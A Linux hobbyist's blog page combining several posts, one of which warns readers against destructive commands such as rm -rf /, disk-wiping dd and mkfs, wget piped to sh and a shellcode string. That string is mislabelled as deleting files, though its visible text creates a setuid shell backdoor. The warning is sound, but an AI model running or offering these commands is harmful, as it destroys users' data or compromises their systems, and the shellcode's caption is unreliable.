I recently discovered a plugin that makes OpenOffice’s Impress, a whole lot easier to use. It allows the audience to see the presentation, but the presenter sees the current slide, a preview of the next slide, the notes corresponding to the current slide and a timer. It is really nice to see a preview of the next slide (or of any slide) and to see your notes without showing them to the audience. Brilliant!

http://wiki.services.openoffice.org/wiki/Presenter_Screen

Linux gives you a lot of power, including the power to shoot yourself in the foot.

Here are some commands that you DO NOT want to do! Hopefully this will save you some grief from some wisecrack that tells you to run “these magical commands”.

[geshi lang=bash]rm -rf /[/geshi]

This will delete all the files and directories from all devices currently mounted as read-write under Linux. (i.e. all your files go “poof!”)

[geshi lang=bash]char esp[] attribute ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68”“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99”“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7”“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56”“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31”“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69”“\x6e\x2f\x73\x68\x00\x2d\x63\x00”“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;[/geshi]

This is the hex version of rm -rf /. A lot harder to spot!

[geshi lang=bash]mkfs.ext3 /dev/sda[/geshi]

This will reformat your /dev/sda device (usually your primary hard drive)

[geshi lang=bash]dd if=/dev/zero of=/dev/sda[/geshi]

This will blank (i.e. factory default) your hard drive

This is known as a forkbomb that will start a huge amount of processes until the system crashes

[geshi lang=bash]wget http://some_untrusted_source -O- | sh[/geshi]

This will download some source code from the Internet and then execute it on your computer

[geshi lang=bash]kill -6 1[/geshi]

This will force your kernel to panic (i.e. your computer will crash)

Compiled from: this blog post and comments

I just realized today that soon no two computers in our home will be running the same operating system.

Our family computer downstairs runs PCLinuxOS, Philip runs Linux Mint, Natalie uses KUbuntu. I currently am using PCLinuxOS, but I think that I will be switching to PC-BSD some time soon. Notice that there is no mention of windows…

I’ve tried windows, and many distros of Linux and I’m ready to move onto something new. I’ve been itching to try BSD, so I’m going to give PC-BSD a try.

Just for fun, I decided to compile a list of operating systems (and linux distros) that I’ve tried and installed. Some I’ve used for quite a while and others I’ve just used only briefly:

• Windows ( 3.1, 98, XP )
• DOS
• Ubuntu ( Ubuntu , KUbunu and XUbuntu )
• Red Hat
• SUSE
• Gentoo
• Mandrake ( now Mandriva )
• PCLinuxOS
• Debian
• ReactOS
• Knoppix ( LiveCD )
• Morphix ( LiveCD )
• Fedora
• SAM Linux
• DSL

So from all these, I’ve learned that there is no perfect operating system, even Linux

Mirror, mirror, on the wall, which is the best distro of them all?

My hosting provider recently upgraded everyone’s month bandwidth limit to 2 Terabytes. I wasn’t sure what to do with all this extra bandwidth, so I decided be help mirror some popular but under-mirrored Linux distributions. Currently I am hosting 4 different “flavors” of Linux:

These can all be downloaded at http://www.linuxlefty.com/projects/mirrors

Last month, my bandwidth usage was 82 Meg. However, yesterday alone I used up 100 Gigs of bandwidth. Hopefully this will take a little load off of the projects’ main servers

I’ve used Ubuntu Linux for a number of years and have found it to be an excellent distro of Linux. It is by far one of the most popular (if not the most popular) version of Linux around and has a huge user base.

However, I’ve been looking into trying a different distro for some time now. I enjoy trying out different distros to see what is available in the Linux community. I’ve tried almost 15 different distros, covering every major one out there ( other than Arch and Slackware ). I came across PCLinuxOS last week and was hoping to install it over spring break.

However, for some reason my root partition ( I did a cold reboot when the system hung doing a hard-drive intensive operation ) got corrupted and I needed to reinstall my OS. I really didn’t want to take the time to reinstall, but this is my only system and I need it for school.

So, I installed PCLinuxOS and I was very impressed. All my hardware worked out of the box (even 3D acceleration with aiglx). I was very impressed! The system is very responsive and snappy. I haven’t used it for long, but I think PCLinuxOS is definitely a distro to check into!